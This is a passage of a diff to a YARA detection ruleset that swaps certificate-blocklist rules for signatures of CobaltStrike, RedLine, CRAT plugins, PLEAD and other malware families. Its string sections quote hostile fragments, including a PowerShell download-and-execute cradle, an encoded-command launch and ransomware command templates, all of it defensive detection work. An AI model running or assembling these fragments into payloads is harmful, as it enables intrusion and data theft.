-		thumbprint = "2afcc4cdee842d80bf7b6406fb503957c8a09b4d"
-		importance = 20
+
+	strings:
+		$s1 = "write info fail!!! GetLastError-->%u" fullword ascii
+		$s2 = "LookupAccountSid Error %u" fullword ascii
+		$s3 = "CreateServiceErrorID:%d" fullword ascii
+		$s4 = "In ControlServiceErrorID:%d" fullword ascii
+		$s5 = "In QueryServiceStatus ErrorID:%d" fullword ascii
+		$s6 = "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"" fullword ascii
+		$s7 = "hello%s" fullword ascii
+		$s8 = "additional header failed..." fullword ascii
+		$s9 = "Set Option failed errcode: %ld" fullword ascii
+		$s10 = "add cookie failed..." fullword ascii
+		$u1 = "Mozilla/4.0 (compatible; )" fullword ascii
+		$u2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\xA8\\x9C\\xE8\\xBF\\xAA\\xD0\\x91\\xE8\\xBF\\xAA\\xD0\\x91\\xE5\\xA8\\x9C\\xE5\\x93\\xA6\\xE5\\xB0\\xBA\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xD0\\x91\\xE8\\xBF\\xAA\\xD0\\x91\\xE5\\xB0\\xBA\\xE5\\xB0\\xBA\\xE8\\xBF\\xAA\\xE5\\x93\\xA6\\xE8\\xBF\\xAA\\xE5\\x8B\\x92\\xD0\\x91\\xE5\\x8B\\x92\\xE5\\x93\\xA6\\xE5\\x8B\\x92\\xE5\\x93\\xA6\\xD0\\x91" and pe.signatures[i].serial=="35:33:08:0b:37:7f:80:c0:ea:82:6b:24:92:bf:76:7b")
+		uint16(0)==0x5a4d and ((1 of ($u*) and 4 of ($s*)) or ( all of ($u*) and 3 of ($s*)) or (5 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00B0Ecd32F95F8761B8A6D5710C7F34590 : FILE
+rule DITEKSHEN_MALWARE_Win_Cobaltstrike : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "CobaltStrike payload"
 		author = "ditekSHen"
-		id = "2535c9eb-ed4a-52b9-8ad5-80c44c035135"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "140e16d0-0102-5650-a371-c95013d7f021"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1140-L1151"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1845-L1864"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c181dab1f39138c67650d6654353de2be29cdbf45e0f5235776d28d40194f24"
+		logic_hash = "43513aef0ed715f0c214d7a14e465350f9c1bcadf87535e1c12561e976398bb3"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		thumbprint = "2e25e7e8abc238b05de5e2a482e51ed324fbaa76"
-		importance = 20
+
+	strings:
+		$s1 = "%%IMPORT%%" fullword ascii
+		$s2 = "www6.%x%x.%s" fullword ascii
+		$s3 = "cdn.%x%x.%s" fullword ascii
+		$s4 = "api.%x%x.%s" fullword ascii
+		$s5 = "%s (admin)" fullword ascii
+		$s6 = "could not spawn %s: %d" fullword ascii
+		$s7 = "Could not kill %d: %d" fullword ascii
+		$s8 = "Could not connect to pipe (%s): %d" fullword ascii
+		$s9 = /%s\.\d[(%08x).]+\.%x%x\.%s/ ascii
+		$pwsh1 = "IEX (New-Object Net.Webclient).DownloadString('http" ascii
+		$pwsh2 = "powershell -nop -exec bypass -EncodedCommand \"%s\"" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE6\\x96\\xAF\\xD0\\xA8\\xD0\\xA8\\xE5\\xBC\\x97\\xE6\\xAF\\x94\\xE5\\xBC\\x97\\xD0\\xA8\\xE6\\xAF\\x94\\xD0\\xA8\\xE5\\xBC\\x97\\xD0\\xA8\\xE5\\xB0\\x94\\xE5\\xBC\\x97\\xE5\\xBC\\x97\\xD0\\xA8\\xE5\\xB0\\x94\\xD0\\xA8\\xE6\\x96\\xAF\\xE5\\xB0\\x94\\xE5\\xBC\\x97" and pe.signatures[i].serial=="00:b0:ec:d3:2f:95:f8:76:1b:8a:6d:57:10:c7:f3:45:90")
+		uint16(0)==0x5a4d and (5 of ($s*) or ( all of ($pwsh*) and 2 of ($s*)) or (#s9>6 and 4 of them ))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_3A727248E1940C5Bf91A466B29C3B9Cd : FILE
+rule DITEKSHEN_MALWARE_Win_Redlinedropperahk : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects AutoIt/AutoHotKey executables dropping RedLine infostealer"
 		author = "ditekSHen"
-		id = "db43ed73-de46-526e-a255-137a4eaaedce"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "16eee826-f1fd-5a6f-b6f3-e02ccd889614"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1153-L1164"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1866-L1878"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0afeb50b36d0ca1adbd6cb3accccb3ee093434b8c0bd8b03ae70ecc45c7423b5"
+		logic_hash = "0950fe9daa02f3a8fd527f75275766111be7e8774578963b0bdb455800dfc4f9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "eeeb3a616bb50138f84fc0561d883b47ac1d3d3d"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.RedLineDropper-AHK"
+
+	strings:
+		$s1 = ".SetRequestHeader(\"User-Agent\",\" ( \" OSName \" | \" bit \" | \" CPUNAme \"\"" ascii
+		$s2 = ":= \" | Windows Defender\"" ascii
+		$s3 = "WindowSpy.ahk" wide
+		$s4 = ">AUTOHOTKEY SCRIPT<" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\x90\\x89\\xE5\\x90\\x89\\xD0\\x98\\xE5\\x90\\x89\\xD0\\x98\\xE4\\xB8\\x9D\\xE4\\xB8\\x9D" and pe.signatures[i].serial=="3a:72:72:48:e1:94:0c:5b:f9:1a:46:6b:29:c3:b9:cd")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ce40906451925405D0F6C130Db461F71 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects known downloader agent"
 		author = "ditekSHen"
-		id = "5e858504-b1c4-579e-b0e8-f6cf4f434672"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "85ead6fd-b56e-5e78-8fb4-7c9ecb4c0b58"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1166-L1177"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1880-L1894"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "02b03b18942cff20ddce429f7be7cc9e54dfbf4884c79c7438c9b9d4415c5b93"
+		logic_hash = "7aec81655af9b779a314c3e2cff933aa6426fcfe21b5a87e60e159c7e7f5238a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "af79bbdb4fa0724f907343e9b1945ffffb34e9b3"
-		importance = 20
+		snort_sid = "920007"
+		clamav_sig = "MALWARE.Win.Trojan.DLAgent01"
+
+	strings:
+		$s1 = "Mozilla/5.0 Gecko/41.0 Firefox/41.0" fullword wide
+		$s2 = "/Node:localhost /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List" fullword wide
+		$s3 = "GUID.log" fullword wide
+		$s4 = "NO AV" fullword wide
+		$s5 = "%d:%I64d:%I64d:%I64d" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xD0\\xA5\\xE7\\xBB\\xB4\\xE6\\x9D\\xB0\\xE6\\x96\\xAF\\xE6\\x96\\xAF\\xE7\\xBB\\xB4\\xE6\\x9D\\xB0\\xE6\\x9D\\xB0\\xD0\\xA5\\xE6\\x96\\xAF\\xD0\\xA5\\xD0\\xA5\\xE6\\x96\\xAF\\xE6\\x9D\\xB0\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE6\\x96\\xAF\\xE6\\x9D\\xB0" and pe.signatures[i].serial=="00:ce:40:90:64:51:92:54:05:d0:f6:c1:30:db:46:1f:71")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E130D3537E0B7A4Dda47B4D6F95F9481 : FILE
+rule DITEKSHEN_MALWARE_Linux_PLEAD : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "PLEAD Linux payload"
 		author = "ditekSHen"
-		id = "efcc63ba-51f9-5b16-a33d-05d536efa6c6"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "07aa0561-d6d9-53b6-97ac-670cdf04335d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1179-L1190"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1896-L1920"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c394a115fa3fbd7fb2838b61b3c439df3daa9aa44b1901d1740060df0539411e"
+		logic_hash = "539998248ded0eb8ea1702c527804f89cfd55412f17ec699bd0af801f4fba673"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "89f9786c8cb147b1dd7aa0eb871f51210550c6f4"
-		importance = 20
+		clamav_sig = "MALWARE.Linux.Trojan.PLEAD"
+
+	strings:
+		$x1 = "CFileTransfer" ascii
+		$x2 = "CFileManager" ascii
+		$x3 = "CPortForward" ascii
+		$x4 = "CPortForwardManager" ascii
+		$x5 = "CRemoteShell" ascii
+		$x6 = "CSockClient" ascii
+		$s1 = "/proc/self/exe" fullword ascii
+		$s2 = "/bin/sh" fullword ascii
+		$s3 = "echo -e '" ascii
+		$s4 = "%s    <DIR>    %s" ascii
+		$s5 = "%s    %lld    %s" ascii
+		$s6 = "Files: %d        Size: %lld" ascii
+		$s7 = "Dirs: %d" ascii
+		$s8 = "%s(%s)/" ascii
+		$s9 = "%s %s %s %s" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE4\\xBC\\x8A\\xE6\\x96\\xAF\\xE8\\x89\\xBE\\xE4\\xBC\\x8A\\xE8\\x89\\xBE\\xE8\\x89\\xBE\\xE5\\x90\\xBE\\xE5\\x90\\xBE\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xE5\\x8B\\x92\\xE5\\x8B\\x92" and pe.signatures[i].serial=="00:e1:30:d3:53:7e:0b:7a:4d:da:47:b4:d6:f9:5f:94:81")
+		uint16(0)==0x457f and ( all of ($x*) or all of ($s*) or 12 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4Bec555C48Aada75E83C09C9Ad22Dc7C : FILE
+rule DITEKSHEN_MALWARE_Win_CRAT : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects CRAT main DLL"
 		author = "ditekSHen"
-		id = "664b8f55-03f8-5f36-aaf7-60ee4e613af4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "9757a8de-61ea-55c0-b64c-055798450985"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1192-L1203"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1922-L1944"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "de4562f70bbe25aa053f2476efca12b99cd4f2ee721df620d02d004bac2a59f9"
+		logic_hash = "5a9fef68e110a1564dd5956408abcc3736cfa6853e1ac5510a089cc68f6bdc35"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "a2be2ab16e3020ddbff1ff37dbfe2d736be7a0d5"
-		importance = 20
+
+	strings:
+		$s1 = "cmd /c \"dir %s /s >> %s\"" wide
+		$s2 = "Set-Cookie:\\b*{.+?}\\n" wide
+		$s3 = "Location: {[0-9]+}" wide
+		$s4 = "Content-Disposition: form-data; name=\"%s\"; filename=\"" ascii
+		$s6 = "%serror.log" wide
+		$v2x_1 = "?timestamp=%u" wide
+		$v2x_2 = "config.txt" wide
+		$v2x_3 = "entdll.dll" wide
+		$v2x_4 = "\\cmd.exe" wide
+		$v2x_5 = "[MyDocuments]" wide
+		$v2x_6 = "@SetWindowTextW FindFileExA" wide
+		$v2x_7 = "Microsoft\\Windows\\WinX\\Group1\\*.exe" wide
+		$v2s_1 = "Installed Anti Virus Programs" ascii
+		$v2s_2 = "Running Processes" ascii
+		$v2s_3 = "id=%u&content=" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xD0\\x92\\xE5\\xB1\\x81\\xE5\\xB0\\x94\\xE5\\x90\\xBE\\xD0\\x92\\xE5\\x90\\x89\\xE5\\xB0\\x94\\xE5\\x90\\xBE\\xD0\\x92\\xE4\\xB8\\x9D\\xE5\\xB1\\x81" and pe.signatures[i].serial=="4b:ec:55:5c:48:aa:da:75:e8:3c:09:c9:ad:22:dc:7c")
+		uint16(0)==0x5a4d and ( all of ($s*) or 6 of ($v2x*) or all of ($v2s*) or (2 of ($v2s*) and 4 of ($v2x*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_009356E0361Bcf983Ab14276C332F814E7 : FILE
+rule DITEKSHEN_MALWARE_Win_Cratpluginkeylogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects CRAT keylogger plugin DLL"
 		author = "ditekSHen"
-		id = "6b5966d7-59ab-5d8a-936e-71b937424234"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a8682786-7704-56f0-a6df-b4e2ab4d7536"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1205-L1216"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1946-L1962"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e85adfa9c004a46fe6060a36def3f8387de1484eb9fc3ae935d00265da135eab"
+		logic_hash = "58ef1f7466fcc871be2e74aa447c76970fd90c9d9d345a896fb8e6335114d189"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f8bc145719666175a2bb3fcc62e0f3b2deccb030"
-		importance = 20
+		clamav_sig = "MALWARE.Win.Trojan.CRAT"
+
+	strings:
+		$ai1 = "VM detected!" fullword wide
+		$ai2 = "Sandbox detected!" fullword wide
+		$ai3 = "Debug detected!" fullword wide
+		$ai4 = "Analysis process detected!" fullword wide
+		$s1 = "Create KeyLogMutex %s failure %d" wide
+		$s2 = "Key Log Mutex already created! %s" wide
+		$s3 = /KeyLogThread\s(started|finished|terminated)!/ wide
+		$s4 = /KeyLog_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\x89\\xBE\\xE5\\x90\\x89\\xE4\\xB8\\x9D\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE4\\xB8\\x9D\\xE6\\x9D\\xB0\\xE8\\x89\\xBE\\xE6\\x9D\\xB0\\xE4\\xB8\\x9D\\xE4\\xBC\\x8A\\xE6\\x9D\\xB0\\xE5\\x90\\x89\\xE4\\xBC\\x8A" and pe.signatures[i].serial=="00:93:56:e0:36:1b:cf:98:3a:b1:42:76:c3:32:f8:14:e7")
+		uint16(0)==0x5a4d and (( all of ($ai*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($ai*)) or 5 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00E5D20477E850C9F35C5C47123Ef34271 : FILE
+rule DITEKSHEN_MALWARE_Win_Cratpluginclipboardmonitor : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects CRAT Clipboad Monitor plugin DLL"
 		author = "ditekSHen"
-		id = "c8777008-b15f-58c8-9172-f54a4864d2cc"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "587487c7-f00b-5d4a-8b18-e46d6c6560e2"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1218-L1229"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1964-L1979"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "984f6dba8613ca43a9ffdcba63e57516bd2c6df02698b87aa4a080f89cc6abc0"
+		logic_hash = "c3e692a06388e143a8e1053e75a6eb6a82da5bdf26d38e3a0e339bc20d8312a1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d11431836db24dcc3a17de8027ab284a035f2e4f"
-		importance = 20
+
+	strings:
+		$ai1 = "VM detected!" fullword wide
+		$ai2 = "Sandbox detected!" fullword wide
+		$ai3 = "Debug detected!" fullword wide
+		$ai4 = "Analysis process detected!" fullword wide
+		$s1 = "Clipboard Monitor Mutex [%s] already created!" wide
+		$s2 = "ClipboardMonitorThread started!" fullword wide
+		$s3 = /MonitorClipboardThread\s(finished|terminated)!/ wide
+		$s4 = /ClipboardMonitor_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE8\\x89\\xBE\\xD0\\x92\\xE5\\xBE\\xB7\\xE8\\x89\\xBE\\xE5\\x8B\\x92\\xD0\\x92\\xE8\\xB4\\x9D\\xE8\\x89\\xBE\\xE5\\xBE\\xB7\\xD0\\x92\\xE8\\x89\\xBE\\xD0\\x92\\xD0\\x92\\xE8\\x89\\xBE\\xD0\\x92\\xE8\\xB4\\x9D\\xE5\\x8B\\x92\\xD0\\x92\\xE5\\xBE\\xB7\\xE8\\xB4\\x9D\\xD0\\x92\\xD0\\x92\\xE8\\x89\\xBE\\xD0\\x92" and pe.signatures[i].serial=="00:e5:d2:04:77:e8:50:c9:f3:5c:5c:47:12:3e:f3:42:71")
+		uint16(0)==0x5a4d and (( all of ($ai*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($ai*)) or 5 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C865D49345F1Ed9A84Bea40743Cdf1D7 : FILE
+rule DITEKSHEN_MALWARE_Win_Cratpluginscreencapture : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects CRAT Screen Capture plugin DLL"
 		author = "ditekSHen"
-		id = "2ef45336-bb59-5510-af6f-29e41c9258b9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ef0b6b88-8b1b-5ab5-ad81-276eaff0411f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1231-L1242"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L1981-L2000"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1a43e85e8c8d254dc3ba48ee9be5c233818fd6137967cd0235e802a2de1f9564"
+		logic_hash = "7b4378ae883d01338fabe2eb50a5509b722c661e63afc287afa07b263a0ebc42"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d5e8afa85c6bf68d31af4a04668c3391e48b24b7"
-		importance = 20
+
+	strings:
+		$ai1 = "VM detected!" fullword wide
+		$ai2 = "Sandbox detected!" fullword wide
+		$ai3 = "Debug detected!" fullword wide
+		$ai4 = "Analysis process detected!" fullword wide
+		$s1 = "User is inactive!, give up capture" wide
+		$s2 = "Capturing screen..." wide
+		$s3 = "%s\\P%02d%lu.tmp" fullword wide
+		$s4 = "CloseHandle ScreenCaptureMutex failure! %d" fullword wide
+		$s5 = "ScreenCaptureMutex already created! %s" fullword wide
+		$s6 = "Create ScreenCaptureMutex %s failure %d" fullword wide
+		$s7 = /ScreenCaptureThread\s(finished|terminated)!/ wide
+		$s8 = /ScreenCapture_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\xB0\\x94\\xE5\\x93\\xA6\\xD0\\x93\\xE8\\x89\\xBE\\xE5\\xB1\\x81\\xE5\\xB1\\x81\\xE5\\x93\\xA6\\xE5\\xB1\\x81\\xE5\\x93\\xA6\\xE7\\xBB\\xB4\\xE5\\x93\\xA6\\xE8\\x89\\xBE\\xE5\\xB0\\x94\\xE8\\x89\\xBE" and pe.signatures[i].serial=="00:c8:65:d4:93:45:f1:ed:9a:84:be:a4:07:43:cd:f1:d7")
+		uint16(0)==0x5a4d and (( all of ($ai*) and 1 of ($s*)) or (3 of ($s*) and 1 of ($ai*)) or 6 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_29F2093E925B7Fe70A9Ba7B909415251 : FILE
+rule DITEKSHEN_MALWARE_Win_Cratpluginransomhansom : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects CRAT Hansom Ransomware plugin DLL"
 		author = "ditekSHen"
-		id = "51c21421-18e4-52df-8fe7-75db7141824c"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "0bfc97df-545f-5453-afe0-5777dc1c95b4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1244-L1255"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2002-L2020"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b3c6a0571c096e431594d9331b3ae8127b02cc3cdf1e994a113026d77bbae4c"
+		logic_hash = "b22f6d22630f311241634513eb051df2b36af84a938c1ae1f5284e5a5d7d3077"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "f9fc647988e667ec92bdf1043ea1077da8f92ccc"
-		importance = 20
+
+	strings:
+		$cmd1 = "/f /im \"%s\"" wide
+		$cmd2 = "add HKLM\\%s /v %s /t REG_DWORD /d %d /F" wide
+		$cmd3 = "add HKCU\\%s /v %s /t REG_DWORD /d %d /F" wide
+		$cmd4 = "\"%s\" a -y -ep -k -r -s -ibck -df -m0 -hp%s -ri1:%d \"%s\" \"%s\"" wide
+		$s1 = "\\hansom.jpg" wide
+		$s2 = "HansomMain" fullword ascii wide
+		$s3 = "ExtractHansom" fullword ascii wide
+		$s4 = "Hansom2008" fullword ascii
+		$s5 = ".hansomkey" fullword wide
+		$s6 = ".hansom" fullword wide
+		$s7 = /Ransom_(x64|x32|Win64|Win32)_DllRelease\.dll/ fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xD0\\x99\\xE4\\xB8\\x9D\\xE4\\xBC\\x8A\\xE5\\x85\\x8B\\xD0\\x99\\xE8\\x89\\xBE\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xD0\\x99\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xD0\\x9D\\xD0\\x9D\\xE8\\x89\\xBE\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xE4\\xB8\\x9D\\xD0\\x99\\xE8\\x89\\xBE\\xE5\\x85\\x8B\\xD0\\x9D\\xD0\\x9D\\xE5\\x85\\x8B\\xD0\\x9D\\xD0\\x9D\\xD0\\x9D\\xE8\\x89\\xBE\\xE4\\xB8\\x9D\\xE4\\xBC\\x8A" and pe.signatures[i].serial=="29:f2:09:3e:92:5b:7f:e7:0a:9b:a7:b9:09:41:52:51")
+		uint16(0)==0x5a4d and ((2 of ($cmd*) and 2 of ($s*)) or (4 of ($s*) and 1 of ($cmd*)) or 6 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0889E4181E71B16C4A810Bee38A78419 : FILE
+rule DITEKSHEN_MALWARE_Win_Aliencrypter : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificate"
+		description = "Detects AlienCrypter injector/downloader/obfuscator"
 		author = "ditekSHen"
-		id = "e9ada9f1-4b52-5da6-ba82-3ea2625ccefd"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "af9e785a-bdec-5d3e-9a50-56f7f1a0507e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1257-L1268"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2022-L2036"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2411f7ac79d18af295d77078c6e1c98c5a116ab24125c08946cb6ca09c28bc7b"
+		logic_hash = "28a2a6e6d58fd6efbb5753a7be5b621a3eac546d45f9481b9dd2641cbe70b547"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "bce3c17815ec9f720ba9c59126ae239c9caf856d"
-		importance = 20
+
+	strings:
+		$s1 = ".AlienRunPE." ascii wide
+		$s2 = "RunAsNewUser_RunDLL" fullword wide
+		$s3 = { 00 50 52 4f 43 45 53 53 5f 53 55 53 50 45 4e 44 5f 52 45 53 55 4d 45 00 64 6e 6c 69 62 2e 50 45 00 }
+		$s4 = { 2e 41 6c 69 65 6e 52 75 6e 50 45 00 50 52 4f 43 45 53 53 5f 54 45 52 4d 49 4e 41 54 45 00 }
+		$s5 = "@@@http" wide
+		$resp1 = "</p><p>@@@77,90," ascii wide
+		$resp2 = "</p><p>@@@HH,JA," ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "\\xE5\\x8B\\x92\\xE5\\xBC\\x97\\xE4\\xBC\\x8A\\xE4\\xBC\\x8A\\xE5\\x90\\xBE\\xE4\\xBC\\x8A\\xE5\\x90\\xBE" and pe.signatures[i].serial=="08:89:e4:18:1e:71:b1:6c:4a:81:0b:ee:38:a7:84:19")
+		( uint16(0)==0x5a4d and 3 of them ) or (1 of ($resp*) and 2 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00C1Afabdaa1321F815Cdbb9467728Bc08 : FILE
+rule DITEKSHEN_MALWARE_Win_Ficker : FILE
 {
 	meta:
